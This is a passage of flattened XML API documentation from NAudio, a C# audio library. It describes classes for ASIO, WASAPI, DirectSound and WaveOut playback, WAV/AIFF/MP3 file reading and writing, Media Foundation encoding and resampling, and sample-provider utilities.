If so, AsioOut will not read from its source Number of samples in each buffer Audio format within each buffer Most commonly this will be one of, Int32LSB, Int16LSB, Int24LSB or Float32LSB ASIO Out Player. New implementation using an internal C# binding. This implementation is only supporting Short16Bit and Float32Bit formats and is optimized for 2 outputs channels . SampleRate is supported only if ASIODriver is supporting it This implementation is probably the first ASIODriver binding fully implemented in C#! Original Contributor: Mark Heath New Contributor to C# binding : Alexandre Mutel - email: alexandre_mutel at yahoo.fr Represents the interface to a device that can play a WaveFile Begin playback Stop playback Pause Playback Initialise playback The waveprovider to be played Current playback state The volume 1.0 is full scale Indicates that playback has gone into a stopped state due to reaching the end of the input stream or an error has been encountered during playback Initializes a new instance of the class with the first available ASIO Driver. Initializes a new instance of the class with the driver name. Name of the device. Opens an ASIO output device Device number (zero based) Releases unmanaged resources and performs other cleanup operations before the is reclaimed by garbage collection. Dispose Gets the names of the installed ASIO Driver. an array of driver names Determines whether ASIO is supported. true if ASIO is supported; otherwise, false. Inits the driver from the asio driver name. Name of the driver. Shows the control panel Starts playback Stops playback Pauses playback Initialises to play Source wave provider Initialises to play, with optional recording Source wave provider - set to null for record only Number of channels to record Specify sample rate here if only recording, ignored otherwise driver buffer update callback to fill the wave buffer. The input channels. The output channels. Get the input channel name channel index (zero based) channel name Get the output channel name channel index (zero based) channel name Playback Stopped When recording, fires whenever recorded audio is available Gets the latency (in ms) of the playback driver Playback State Driver Name The number of output channels we are currently using for playback (Must be less than or equal to DriverOutputChannelCount) The number of input channels we are currently recording from (Must be less than or equal to DriverInputChannelCount) The maximum number of input channels this ASIO driver supports The maximum number of output channels this ASIO driver supports By default the first channel on the input WaveProvider is sent to the first ASIO output. This option sends it to the specified channel number. Warning: make sure you don't set it higher than the number of available output channels - the number of source channels. n.b. Future NAudio may modify this Input channel offset (used when recording), allowing you to choose to record from just one specific input rather than them all Sets the volume (1.0 is unity gain) Not supported for ASIO Out. Set the volume on the input stream instead A wave file writer that adds cue support This class writes WAV data to a .wav file on disk Creates a 16 bit Wave File from an ISampleProvider BEWARE: the source provider must not return data indefinitely The filename to write to The source sample provider Creates a Wave file by reading all the data from a WaveProvider BEWARE: the WaveProvider MUST return 0 from its Read method when it is finished, or the Wave File will grow indefinitely. The filename to use The source WaveProvider WaveFileWriter that actually writes to a stream Stream to be written to Wave format to use Creates a new WaveFileWriter The filename to write to The Wave Format of the output data Read is not supported for a WaveFileWriter Seek is not supported for a WaveFileWriter SetLength is not supported for WaveFileWriter Appends bytes to the WaveFile (assumes they are already in the correct format) the buffer containing the wave data the offset from which to start writing the number of bytes to write Appends bytes to the WaveFile (assumes they are already in the correct format) the buffer containing the wave data the offset from which to start writing the number of bytes to write Writes a single sample to the Wave file the sample to write (assumed floating point with 1.0f as max value) Writes 32 bit floating point samples to the Wave file They will be converted to the appropriate bit depth depending on the WaveFormat of the WAV file The buffer containing the floating point samples The offset from which to start writing The number of floating point samples to write Writes 16 bit samples to the Wave file The buffer containing the 16 bit samples The offset from which to start writing The number of 16 bit samples to write Writes 16 bit samples to the Wave file The buffer containing the 16 bit samples The offset from which to start writing The number of 16 bit samples to write Ensures data is written to disk Actually performs the close,making sure the header contains the correct data True if called from Dispose Updates the header with file size information Finaliser - should only be called if the user forgot to close this WaveFileWriter The wave file name or null if not applicable Number of bytes of audio in the data chunk WaveFormat of this wave file Returns false: Cannot read from a WaveFileWriter Returns true: Can write to a WaveFileWriter Returns false: Cannot seek within a WaveFileWriter Gets the Position in the WaveFile (i.e. number of bytes written so far) Writes a wave file, including a cues chunk Adds a cue to the Wave file Sample position Label text Updates the header, and writes the cues out Media Foundation Encoder class allows you to use Media Foundation to encode an IWaveProvider to any supported encoding format Queries the available bitrates for a given encoding output type, sample rate and number of channels Audio subtype - a value from the AudioSubtypes class The sample rate of the PCM to encode The number of channels of the PCM to encode An array of available bitrates in average bits per second Gets all the available media types for a particular Audio subtype - a value from the AudioSubtypes class An array of available media types that can be encoded with this subtype Helper function to simplify encoding Window Media Audio Should be supported on Vista and above (not tested) Input provider, must be PCM Output file path, should end with .wma Desired bitrate. Use GetEncodeBitrates to find the possibilities for your input type Helper function to simplify encoding to MP3 By default, will only be available on Windows 8 and above Input provider, must be PCM Output file path, should end with .mp3 Desired bitrate. Use GetEncodeBitrates to find the possibilities for your input type Helper function to simplify encoding to AAC By default, will only be available on Windows 7 and above Input provider, must be PCM Output file path, should end with .mp4 (or .aac on Windows 8) Desired bitrate. Use GetEncodeBitrates to find the possibilities for your input type Tries to find the encoding media type with the closest bitrate to that specified Audio subtype, a value from AudioSubtypes Your encoder input format (used to check sample rate and channel count) Your desired bitrate The closest media type, or null if none available Creates a new encoder that encodes to the specified output media type Desired output media type Encodes a file Output filename (container type is deduced from the filename) Input provider (should be PCM, some encoders will also allow IEEE float) Disposes this instance Disposes this instance Finalizer Media Type helper class, simplifying working with IMFMediaType (will probably change in the future, to inherit from an attributes class) Currently does not release the COM object, so you must do that yourself Wraps an existing IMFMediaType object The IMFMediaType object Creates and wraps a new IMFMediaType object Creates and wraps a new IMFMediaType object based on a WaveFormat WaveFormat Tries to get a UINT32 value, returning a default value if it doesn't exist Attribute key Default value Value or default if key doesn't exist The Sample Rate (valid for audio media types) The number of Channels (valid for audio media types) The number of bits per sample (n.b. not always valid for compressed audio types) The average bytes per second (valid for audio media types) The Media Subtype. For audio, is a value from the AudioSubtypes class The Major type, e.g. audio or video (from the MediaTypes class) Access to the actual IMFMediaType object Use to pass to MF APIs or Marshal.ReleaseComObject when you are finished with it Stopped Event Args Initializes a new instance of StoppedEventArgs An exception to report (null if no exception) An exception. Will be null if the playback or record operation stopped IWaveBuffer interface use to store wave datas. Data can be manipulated with arrays (,, , ) that are pointing to the same memory buffer. This is a requirement for all subclasses. Use the associated Count property based on the type of buffer to get the number of data in the buffer. for the standard implementation using C# unions. Gets the byte buffer. The byte buffer. Gets the float buffer. The float buffer. Gets the short buffer. The short buffer. Gets the int buffer. The int buffer. Gets the max size in bytes of the byte buffer.. Maximum number of bytes in the buffer. Gets the byte buffer count. The byte buffer count. Gets the float buffer count. The float buffer count. Gets the short buffer count. The short buffer count. Gets the int buffer count. The int buffer count. Interface for IWavePlayers that can report position Position (in terms of bytes played - does not necessarily) Position in bytes Gets a instance indicating the format the hardware is using. NativeDirectSoundOut using DirectSound COM interop. Contact author: Alexandre Mutel - alexandre_mutel at yahoo.fr Modified by: Graham "Gee" Plumb Initializes a new instance of the class. Initializes a new instance of the class. Initializes a new instance of the class. Initializes a new instance of the class. (40ms seems to work under Vista). The latency. Selected device Releases unmanaged resources and performs other cleanup operations before the is reclaimed by garbage collection. Begin playback Stop playback Pause Playback Gets the current position in bytes from the wave output device. (n.b. this is not the same thing as the position within your reader stream) Position in bytes Initialise playback The waveprovider to be played Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. Determines whether the SecondaryBuffer is lost. true if [is buffer lost]; otherwise, false. Convert ms to bytes size according to WaveFormat The ms number of byttes Processes the samples in a separate thread. Stop playback Feeds the SecondaryBuffer with the WaveStream number of bytes to feed Instanciate DirectSound from the DLL The GUID. The direct sound. The p unk outer. DirectSound default playback device GUID DirectSound default capture device GUID DirectSound default device for voice playback DirectSound default device for voice capture The DirectSoundEnumerate function enumerates the DirectSound drivers installed in the system. callback function User context Gets the HANDLE of the desktop window. HANDLE of the Desktop window Playback Stopped Gets the DirectSound output devices in the system Gets the current position from the wave output device. Current playback state The volume 1.0 is full scale IDirectSound interface IDirectSoundBuffer interface IDirectSoundNotify interface The DSEnumCallback function is an application-defined callback function that enumerates the DirectSound drivers. The system calls this function in response to the application's call to the DirectSoundEnumerate or DirectSoundCaptureEnumerate function. Address of the GUID that identifies the device being enumerated, or NULL for the primary device. This value can be passed to the DirectSoundCreate8 or DirectSoundCaptureCreate8 function to create a device object for that driver. Address of a null-terminated string that provides a textual description of the DirectSound device. Address of a null-terminated string that specifies the module name of the DirectSound driver corresponding to this device. Address of application-defined data. This is the pointer passed to DirectSoundEnumerate or DirectSoundCaptureEnumerate as the lpContext parameter. Returns TRUE to continue enumerating drivers, or FALSE to stop. Class for enumerating DirectSound devices The device identifier Device description Device module name Playback State Stopped Playing Paused Support for playback using Wasapi WASAPI Out using default audio endpoint ShareMode - shared or exclusive Desired latency in milliseconds WASAPI Out using default audio endpoint ShareMode - shared or exclusive true if sync is done with event. false use sleep. Desired latency in milliseconds Creates a new WASAPI Output Device to use true if sync is done with event. false use sleep. Gets the current position in bytes from the wave output device. (n.b. this is not the same thing as the position within your reader stream) Position in bytes Begin Playback Stop playback and flush buffers Stop playback without flushing buffers Initialize for playing the specified wave stream IWaveProvider to play Dispose Playback Stopped Gets a instance indicating the format the hardware is using. Playback State Volume Retrieve the AudioStreamVolume object for this audio stream This returns the AudioStreamVolume object ONLY for shared audio streams. This is thrown when an exclusive audio stream is being used. WaveBuffer class use to store wave datas. Data can be manipulated with arrays (,,, ) that are pointing to the same memory buffer. Use the associated Count property based on the type of buffer to get the number of data in the buffer. Implicit casting is now supported to float[], byte[], int[], short[]. You must not use Length on returned arrays. n.b. FieldOffset is 8 now to allow it to work natively on 64 bit Number of Bytes Initializes a new instance of the class. The number of bytes. The size of the final buffer will be aligned on 4 Bytes (upper bound) Initializes a new instance of the class binded to a specific byte buffer. A byte buffer to bound the WaveBuffer to. Binds this WaveBuffer instance to a specific byte buffer. A byte buffer to bound the WaveBuffer to. Performs an implicit conversion from to . The wave buffer. The result of the conversion. Performs an implicit conversion from to . The wave buffer. The result of the conversion. Performs an implicit conversion from to . The wave buffer. The result of the conversion. Performs an implicit conversion from to . The wave buffer. The result of the conversion. Clears the associated buffer. Copy this WaveBuffer to a destination buffer up to ByteBufferCount bytes. Checks the validity of the count parameters. Name of the arg. The value. The size of value. Gets the byte buffer. The byte buffer. Gets the float buffer. The float buffer. Gets the short buffer. The short buffer. Gets the int buffer. The int buffer. Gets the max size in bytes of the byte buffer.. Maximum number of bytes in the buffer. Gets or sets the byte buffer count. The byte buffer count. Gets or sets the float buffer count. The float buffer count. Gets or sets the short buffer count. The short buffer count. Gets or sets the int buffer count. The int buffer count. Wave Callback Info Sets up a new WaveCallbackInfo for function callbacks Sets up a new WaveCallbackInfo to use a New Window IMPORTANT: only use this on the GUI thread Sets up a new WaveCallbackInfo to use an existing window IMPORTANT: only use this on the GUI thread Callback Strategy Window Handle (if applicable) Wave Callback Strategy Use a function Create a new window (should only be done if on GUI thread) Use an existing window handle Use an event handle Represents a wave out device Retrieves the capabilities of a waveOut device Device to test The WaveOut device capabilities Creates a default WaveOut device Will use window callbacks if called from a GUI thread, otherwise function callbacks Creates a WaveOut device using the specified window handle for callbacks A valid window handle Opens a WaveOut device Initialises the WaveOut device WaveProvider to play Start playing the audio from the WaveStream Pause the audio Resume playing after a pause from the same position Stop and reset the WaveOut device Gets the current position in bytes from the wave output device. (n.b. this is not the same thing as the position within your reader stream - it calls directly into waveOutGetPosition) Position in bytes Closes this WaveOut device Closes the WaveOut device and disposes of buffers True if called from Dispose Finalizer. Only called when user forgets to call Dispose Indicates playback has stopped automatically Returns the number of Wave Out devices available in the system Gets or sets the desired latency in milliseconds Should be set before a call to Init Gets or sets the number of buffers used Should be set before a call to Init Gets or sets the device number Should be set before a call to Init This must be between 0 and DeviceCount - 1. Gets a instance indicating the format the hardware is using. Playback State Volume for this device 1.0 is full scale Alternative WaveOut class, making use of the Event callback Opens a WaveOut device Initialises the WaveOut device WaveProvider to play Start playing the audio from the WaveStream Pause the audio Resume playing after a pause from the same position Stop and reset the WaveOut device Gets the current position in bytes from the wave output device. (n.b. this is not the same thing as the position within your reader stream - it calls directly into waveOutGetPosition) Position in bytes Closes this WaveOut device Closes the WaveOut device and disposes of buffers True if called from Dispose Finalizer. Only called when user forgets to call Dispose Indicates playback has stopped automatically Gets or sets the desired latency in milliseconds Should be set before a call to Init Gets or sets the number of buffers used Should be set before a call to Init Gets or sets the device number Should be set before a call to Init This must be between 0 and DeviceCount - 1. Gets a instance indicating the format the hardware is using. Playback State Obsolete property Simple SampleProvider that passes through audio unchanged and raises an event every n samples with the maximum sample value from the period for metering purposes Initialises a new instance of MeteringSampleProvider that raises 10 stream volume events per second Source sample provider Initialises a new instance of MeteringSampleProvider source sampler provider Number of samples between notifications Reads samples from this Sample Provider Sample buffer Offset into sample buffer Number of samples required Number of samples read Number of Samples per notification Raised periodically to inform the user of the max volume The WaveFormat of this sample provider Event args for aggregated stream volume Max sample values array (one for each channel) Simple class that raises an event on every sample An interface for WaveStreams which can report notification of individual samples A sample has been detected Initializes a new instance of NotifyingSampleProvider Source Sample Provider Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples desired Number of samples read WaveFormat Sample notifier Very simple sample provider supporting adjustable gain Initializes a new instance of VolumeSampleProvider Source Sample Provider Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples desired Number of samples read WaveFormat Allows adjusting the volume, 1.0f = full volume Helper class for when you need to convert back to an IWaveProvider from an ISampleProvider. Keeps it as IEEE float Initializes a new instance of the WaveProviderFloatToWaveProvider class Source wave provider Reads from this provider The waveformat of this WaveProvider (same as the source) Provides a buffered store of samples Read method will return queued samples or fill buffer with zeroes Now backed by a circular buffer Creates a new buffered WaveProvider WaveFormat Adds samples. Takes a copy of buffer, so that buffer can be reused if necessary Reads from this WaveProvider Will always return count bytes, since we will zero-fill the buffer if not enough available Discards all audio from the buffer Buffer length in bytes Buffer duration If true, when the buffer is full, start throwing away data if false, AddSamples will throw an exception when buffer is full The number of buffered bytes Buffered Duration Gets the WaveFormat No nonsense mono to stereo provider, no volume adjustment, just copies input to left and right. Initializes a new instance of MonoToStereoSampleProvider Source sample provider Reads samples from this provider Sample buffer Offset into sample buffer Number of samples required Number of samples read WaveFormat of this provider The Media Foundation Resampler Transform An abstract base class for simplifying working with Media Foundation Transforms You need to override the method that actually creates and configures the transform The Source Provider The Output WaveFormat Constructs a new MediaFoundationTransform wrapper Will read one second at a time The source provider for input data to the transform The desired output format To be implemented by overriding classes. Create the transform object, set up its input and output types, and configure any custom properties in here An object implementing IMFTrasform Disposes this MediaFoundation transform Disposes this Media Foundation Transform Destructor Reads data out of the source, passing it through the transform Output buffer Offset within buffer to write to Desired byte count Number of bytes read Attempts to read from the transform Some useful info here: http://msdn.microsoft.com/en-gb/library/windows/desktop/aa965264%28v=vs.85%29.aspx#process_data Indicate that the source has been repositioned and completely drain out the transforms buffers The output WaveFormat of this Media Foundation Transform Creates the Media Foundation Resampler, allowing modifying of sample rate, bit depth and channel count Source provider, must be PCM Output format, must also be PCM Creates a resampler with a specified target output sample rate Source provider Output sample rate Creates and configures the actual Resampler transform A newly created and configured resampler MFT Disposes this resampler Gets or sets the Resampler quality. n.b. set the quality before starting to resample. 1 is lowest quality (linear interpolation) and 60 is best quality WaveProvider that can mix together multiple 32 bit floating point input provider All channels must have the same number of inputs and same sample rate n.b. Work in Progress - not tested yet Creates a new MixingWaveProvider32 Creates a new 32 bit MixingWaveProvider32 inputs - must all have the same format. Thrown if the input streams are not 32 bit floating point, or if they have different formats to each other Add a new input to the mixer The wave input to add Remove an input from the mixer waveProvider to remove Reads bytes from this wave stream buffer to read into offset into buffer number of bytes required Number of bytes read. Thrown if an invalid number of bytes requested Actually performs the mixing The number of inputs to this mixer Allows any number of inputs to be patched to outputs Uses could include swapping left and right channels, turning mono into stereo, feeding different input sources to different soundcard outputs etc Creates a multiplexing wave provider, allowing re-patching of input channels to different output channels Input wave providers. Must all be of the same format, but can have any number of channels Desired number of output channels. persistent temporary buffer to prevent creating work for garbage collector Reads data from this WaveProvider Buffer to be filled with sample data Offset to write to within buffer, usually 0 Number of bytes required Number of bytes read Connects a specified input channel to an output channel Input Channel index (zero based). Must be less than InputChannelCount Output Channel index (zero based). Must be less than OutputChannelCount The WaveFormat of this WaveProvider The number of input channels. Note that this is not the same as the number of input wave providers. If you pass in one stereo and one mono input provider, the number of input channels is three. The number of output channels, as specified in the constructor. Takes a stereo 16 bit input and turns it mono, allowing you to select left or right channel only or mix them together Creates a new mono waveprovider based on a stereo input Stereo 16 bit PCM input Reads bytes from this WaveProvider 1.0 to mix the mono source entirely to the left channel 1.0 to mix the mono source entirely to the right channel Output Wave Format Converts from mono to stereo, allowing freedom to route all, some, or none of the incoming signal to left or right channels Creates a new stereo waveprovider based on a mono input Mono 16 bit PCM input Reads bytes from this WaveProvider 1.0 to copy the mono stream to the left channel without adjusting volume 1.0 to copy the mono stream to the right channel without adjusting volume Output Wave Format Helper class allowing us to modify the volume of a 16 bit stream without converting to IEEE float Constructs a new VolumeWaveProvider16 Source provider, must be 16 bit PCM Read bytes from this WaveProvider Buffer to read into Offset within buffer to read to Bytes desired Bytes read Gets or sets volume. 1.0 is full scale, 0.0 is silence, anything over 1.0 will amplify but potentially clip WaveFormat of this WaveProvider Converts IEEE float to 16 bit PCM, optionally clipping and adjusting volume along the way Creates a new WaveFloatTo16Provider the source provider Reads bytes from this wave stream The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. Volume of this channel. 1.0 = full scale Converts 16 bit PCM to IEEE float, optionally adjusting volume along the way Creates a new Wave16toFloatProvider the source provider Reads bytes from this wave stream The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. Volume of this channel. 1.0 = full scale Buffered WaveProvider taking source data from WaveIn Creates a new WaveInProvider n.b. Should make sure the WaveFormat is set correctly on IWaveIn before calling The source of wave data Reads data from the WaveInProvider The WaveFormat Base class for creating a 16 bit wave provider Initializes a new instance of the WaveProvider16 class defaulting to 44.1kHz mono Initializes a new instance of the WaveProvider16 class with the specified sample rate and number of channels Allows you to specify the sample rate and channels for this WaveProvider (should be initialised before you pass it to a wave player) Implements the Read method of IWaveProvider by delegating to the abstract Read method taking a short array Method to override in derived classes Supply the requested number of samples into the buffer The Wave Format Base class for creating a 32 bit floating point wave provider Can also be used as a base class for an ISampleProvider that can be plugged straight into anything requiring an IWaveProvider Initializes a new instance of the WaveProvider32 class defaulting to 44.1kHz mono Initializes a new instance of the WaveProvider32 class with the specified sample rate and number of channels Allows you to specify the sample rate and channels for this WaveProvider (should be initialised before you pass it to a wave player) Implements the Read method of IWaveProvider by delegating to the abstract Read method taking a float array Method to override in derived classes Supply the requested number of samples into the buffer The Wave Format Helper class turning an already 32 bit floating point IWaveProvider into an ISampleProvider - hopefully not needed for most applications Initializes a new instance of the WaveToSampleProvider class Source wave provider, must be IEEE float Reads from this provider Utility class to intercept audio from an IWaveProvider and save it to disk Constructs a new WaveRecorder The location to write the WAV file to The Source Wave Provider Read simply returns what the source returns, but writes to disk along the way Closes the WAV file The WaveFormat A read-only stream of AIFF data based on an aiff file with an associated WaveFormat originally contributed to NAudio by Giawa Base class for all WaveStream classes. Derives from stream. Flush does not need to do anything See An alternative way of repositioning. See Sets the length of the WaveStream. Not Supported. Writes to the WaveStream. Not Supported. Moves forward or backwards the specified number of seconds in the stream Number of seconds to move, can be negative Whether the WaveStream has non-zero sample data at the current position for the specified count Number of bytes to read Retrieves the WaveFormat for this stream We can read from this stream We can seek within this stream We can't write to this stream The block alignment for this wavestream. Do not modify the Position to anything that is not a whole multiple of this value The current position in the stream in Time format Total length in real-time of the stream (may be an estimate for compressed files) Supports opening a AIF file The AIF is of similar nastiness to the WAV format. This supports basic reading of uncompressed PCM AIF files, with 8, 16, 24 and 32 bit PCM data. Creates an Aiff File Reader based on an input stream The input stream containing a AIF file including header Ensures valid AIFF header and then finds data offset. The stream, positioned at the start of audio data The format found The position of the data chunk The length of the data chunk Additional chunks found Cleans up the resources associated with this AiffFileReader Reads bytes from the AIFF File Number of Samples (if possible to calculate) Position in the AIFF file AIFF Chunk Chunk Name Chunk Length Chunk start Creates a new AIFF Chunk AudioFileReader simplifies opening an audio file in NAudio Simply pass in the filename, and it will attempt to open the file and set up a conversion path that turns into PCM IEEE float. ACM codecs will be used for conversion. It provides a volume property and implements both WaveStream and ISampleProvider, making it possibly the only stage in your audio pipeline necessary for simple playback scenarios Initializes a new instance of AudioFileReader The file to open Creates the reader stream, supporting all filetypes in the core NAudio library, and ensuring we are in PCM format File Name Reads from this wave stream Audio buffer Offset into buffer Number of bytes required Number of bytes read Reads audio from this sample provider Sample buffer Offset into sample buffer Number of samples required Number of samples read Helper to convert source to dest bytes Helper to convert dest to source bytes Disposes this AudioFileReader True if called from Dispose WaveFormat of this stream Length of this stream (in bytes) Position of this stream (in bytes) Gets or Sets the Volume of this AudioFileReader. 1.0f is full volume Helper stream that lets us read from compressed audio files with large block alignment as though we could read any amount and reposition anywhere Creates a new BlockAlignReductionStream the input stream Disposes this WaveStream Reads data from this stream Block alignment of this stream Wave Format Length of this Stream Current position within stream Holds information on a cue: a labeled position within a Wave file Creates a Cue based on a sample position and label Cue position in samples Label of the cue Holds a list of cues The specs for reading and writing cues from the cue and list RIFF chunks are from http://www.sonicspot.com/guide/wavefiles.html and http://www.wotsit.org/ ------------------------------ The cues are stored like this: ------------------------------ struct CuePoint { Int32 dwIdentifier; Int32 dwPosition; Int32 fccChunk; Int32 dwChunkStart; Int32 dwBlockStart; Int32 dwSampleOffset; } struct CueChunk { Int32 chunkID; Int32 chunkSize; Int32 dwCuePoints; CuePoint[] points; } ------------------------------ Labels look like this: ------------------------------ struct ListHeader { Int32 listID; /* 'list' */ Int32 chunkSize; /* includes the Type ID below */ Int32 typeID; /* 'adtl' */ } struct LabelChunk { Int32 chunkID; Int32 chunkSize; Int32 dwIdentifier; Char[] dwText; /* Encoded with extended ASCII */ } LabelChunk; Creates an empty cue list Adds an item to the list Cue Creates a cue list from the cue RIFF chunk and the list RIFF chunk The data contained in the cue chunk The data contained in the list chunk Gets the cues as the concatenated cue and list RIFF chunks. RIFF chunks containing the cue data Checks if the cue and list chunks exist and if so, creates a cue list Gets sample positions for the embedded cues Array containing the cue positions Gets labels for the embedded cues Array containing the labels Number of cues Accesses the cue at the specified index A wave file reader supporting cue reading This class supports the reading of WAV files, providing a repositionable WaveStream that returns the raw data contained in the WAV file Supports opening a WAV file The WAV file format is a real mess, but we will only support the basic WAV file format which actually covers the vast majority of WAV files out there. For more WAV file format information visit www.wotsit.org. If you have a WAV file that can't be read by this class, email it to the NAudio project and we will probably fix this reader to support it Creates a Wave File Reader based on an input stream The input stream containing a WAV file including header Gets the data for the specified chunk Cleans up the resources associated with this WaveFileReader Reads bytes from the Wave File Attempts to read the next sample or group of samples as floating point normalised into the range -1.0f to 1.0f An array of samples, 1 for mono, 2 for stereo etc. Null indicates end of file reached Attempts to read a sample into a float. n.b. only applicable for uncompressed formats Will normalise the value read into the range -1.0f to 1.0f if it comes from a PCM encoding False if the end of the WAV data chunk was reached Gets a list of the additional chunks found in this file This is the length of audio data contained in this WAV file, in bytes (i.e. the byte length of the data chunk, not the length of the WAV file itself) Number of Samples (if possible to calculate) This currently does not take into account number of channels, so divide again by number of channels if you want the number of audio 'frames' Position in the WAV data chunk. Loads a wavefile and supports reading cues Cue List (can be null if cues not present) Sample event arguments Constructor Left sample Right sample Class for reading any file that Media Foundation can play Will only work in Windows Vista and above Automatically converts to PCM If it is a video file with multiple audio streams, it will pick out the first audio stream Creates a new MediaFoundationReader based on the supplied file Filename (can also be a URL e.g. http:// mms:// file://) Creates a new MediaFoundationReader based on the supplied file Filename Advanced settings Creates the reader (overridable by ) Reads from this wave stream Buffer to read into Offset in buffer Bytes required Number of bytes read; 0 indicates end of stream Cleans up after finishing with this reader true if called from Dispose WaveFormat of this stream (n.b. this is after converting to PCM) The bytesRequired of this stream in bytes (n.b may not be accurate) Current position within this stream WaveFormat has changed Allows customisation of this reader class Sets up the default settings for MediaFoundationReader Allows us to request IEEE float output (n.b. no guarantee this will be accepted) If true, the reader object created in the constructor is used in Read Should only be set to true if you are working entirely on an STA thread, or entirely with MTA threads. If true, the reposition does not happen immediately, but waits until the next call to read to be processed. Class for reading from MP3 files Supports opening a MP3 file Supports opening a MP3 file MP3 File name Factory method to build a frame decompressor Opens MP3 from a stream rather than a file Will not dispose of this stream itself The incoming stream containing MP3 data Opens MP3 from a stream rather than a file Will not dispose of this stream itself The incoming stream containing MP3 data Factory method to build a frame decompressor Creates an ACM MP3 Frame decompressor. This is the default with NAudio A WaveFormat object based Gets the total length of this file in milliseconds. Reads the next mp3 frame Next mp3 frame, or null if EOF Reads the next mp3 frame Next mp3 frame, or null if EOF Reads decompressed PCM data from our MP3 file. Disposes this WaveStream The MP3 wave format (n.b. NOT the output format of this stream - see the WaveFormat property) ID3v2 tag if present ID3v1 tag if present This is the length in bytes of data available to be read out from the Read method (i.e. the decompressed MP3 length) n.b. this may return 0 for files whose length is unknown Xing header if present Function that can create an MP3 Frame decompressor A WaveFormat object describing the MP3 file format An MP3 Frame decompressor Converts an IWaveProvider containing 16 bit PCM to an ISampleProvider Initialises a new instance of Pcm16BitToSampleProvider Source wave provider Reads samples from this sample provider Sample buffer Offset into sample buffer Samples required Number of samples read Converts an IWaveProvider containing 24 bit PCM to an ISampleProvider Initialises a new instance of Pcm24BitToSampleProvider Source Wave Provider Reads floating point samples from this sample provider sample buffer offset within sample buffer to write to number of samples required number of samples provided Converts an IWaveProvider containing 8 bit PCM to an ISampleProvider Initialises a new instance of Pcm8BitToSampleProvider Source wave provider Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples to read Number of samples read WaveStream that simply passes on data from its source stream (e.g. a MemoryStream) Initialises a new instance of RawSourceWaveStream The source stream containing raw audio The waveformat of the audio in the source stream Reads data from the stream The WaveFormat of this stream The length in bytes of this stream (if supported) The current position in this stream Wave Stream for converting between sample rates WaveStream to resample using the DMO Resampler Input Stream Desired Output Format Reads data from input stream buffer offset into buffer Bytes required Number of bytes read Dispose True if disposing (not from finalizer) Stream Wave Format Stream length in bytes Stream position in bytes Holds information about a RIFF file chunk Creates a RiffChunk object The chunk identifier The chunk identifier converted to a string The chunk length The stream position this chunk is located at A simple compressor Create a new simple compressor stream Source stream Determine whether the stream has the required amount of data. Number of bytes of data required from the stream. Flag indicating whether the required amount of data is avialable. Reads bytes from this stream Buffer to read into Offset in array to read into Number of bytes to read Number of bytes read Disposes this stream true if the user called this Make-up Gain Threshold Ratio Attack time Release time Turns gain on or off Returns the stream length Gets or sets the current position in the stream Gets the WaveFormat of this stream Gets the block alignment for this stream WaveStream that converts 32 bit audio back down to 16 bit, clipping if necessary Creates a new Wave32To16Stream the source stream Reads bytes from this wave stream Destination buffer Offset into destination buffer Number of bytes read. Conversion to 16 bit and clipping Disposes this WaveStream Sets the volume for this stream. 1.0f is full scale Returns the stream length Gets or sets the current position in the stream Clip indicator. Can be reset. Represents Channel for the WaveMixerStream 32 bit output and 16 bit input It's output is always stereo The input stream can be panned Creates a new WaveChannel32 the source stream stream volume (1 is 0dB) pan control (-1 to 1) Creates a WaveChannel32 with default settings The source stream Reads bytes from this wave stream The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. Determines whether this channel has any data to play to allow optimisation to not read, but bump position forward Disposes this WaveStream Raise the sample event (no check for null because it has already been done) Gets the block alignment for this WaveStream Returns the stream length Gets or sets the current position in the stream If true, Read always returns the number of bytes requested Volume of this channel. 1.0 = full scale Pan of this channel (from -1 to 1) Sample Utility class that takes an IWaveProvider input at any bit depth and exposes it as an ISampleProvider. Can turn mono inputs into stereo, and allows adjusting of volume (The eventual successor to WaveChannel32) This class also serves as an example of how you can link together several simple Sample Providers to form a more useful class. Initialises a new instance of SampleChannel Source wave provider, must be PCM or IEEE Initialises a new instance of SampleChannel Source wave provider, must be PCM or IEEE force mono inputs to become stereo Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples desired Number of samples read The WaveFormat of this Sample Provider Allows adjusting the volume, 1.0f = full volume Raised periodically to inform the user of the max volume (before the volume meter) WaveStream that passes through an ACM Codec Creates a stream that can convert to PCM The source stream A PCM stream Create a new WaveFormat conversion stream Desired output format Source stream Converts source bytes to destination bytes Converts destination bytes to source bytes Reads bytes from this stream Buffer to read into Offset in buffer to read into Number of bytes to read Number of bytes read Disposes this stream true if the user called this Returns the stream length Gets or sets the current position in the stream Gets the WaveFormat of this stream A buffer of Wave samples creates a new wavebuffer WaveIn device to write to Buffer size in bytes Place this buffer back to record more audio Finalizer for this wave buffer Releases resources held by this WaveBuffer Releases resources held by this WaveBuffer Provides access to the actual record buffer (for reading only) Indicates whether the Done flag is set on this buffer Indicates whether the InQueue flag is set on this buffer Number of bytes recorded The buffer size in bytes WaveStream that can mix together multiple 32 bit input streams (Normally used with stereo input channels) All channels must have the same number of inputs Creates a new 32 bit WaveMixerStream Creates a new 32 bit WaveMixerStream An Array of WaveStreams - must all have the same format. Use WaveChannel is designed for this purpose. Automatically stop when all inputs have been read Thrown if the input streams are not 32 bit floating point, or if they have different formats to each other Add a new input to the mixer The wave input to add Remove a WaveStream from the mixer waveStream to remove Reads bytes from this wave stream buffer to read into offset into buffer number of bytes required Number of bytes read. Thrown if an invalid number of bytes requested Actually performs the mixing Disposes this WaveStream The number of inputs to this mixer Automatically stop when all inputs have been read Length of this Wave Stream (in bytes) Position within this Wave Stream (in bytes) Simply shifts the input stream in time, optionally clipping its start and end. (n.b. may include looping in the future) Creates a new WaveOffsetStream the source stream the time at which we should start reading from the source stream amount to trim off the front of the source stream length of time to play from source stream Creates a WaveOffsetStream with default settings (no offset or pre-delay, and whole length of source stream) The source stream Reads bytes from this wave stream The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. Determines whether this channel has any data to play to allow optimisation to not read, but bump position forward Disposes this WaveStream The length of time before which no audio will be played An offset into the source stream from which to start playing Length of time to read from the source stream Gets the block alignment for this WaveStream Returns the stream length Gets or sets the current position in the stream A buffer of Wave samples for streaming to a Wave Output device creates a new wavebuffer WaveOut device to write to Buffer size in bytes Stream to provide more data Lock to protect 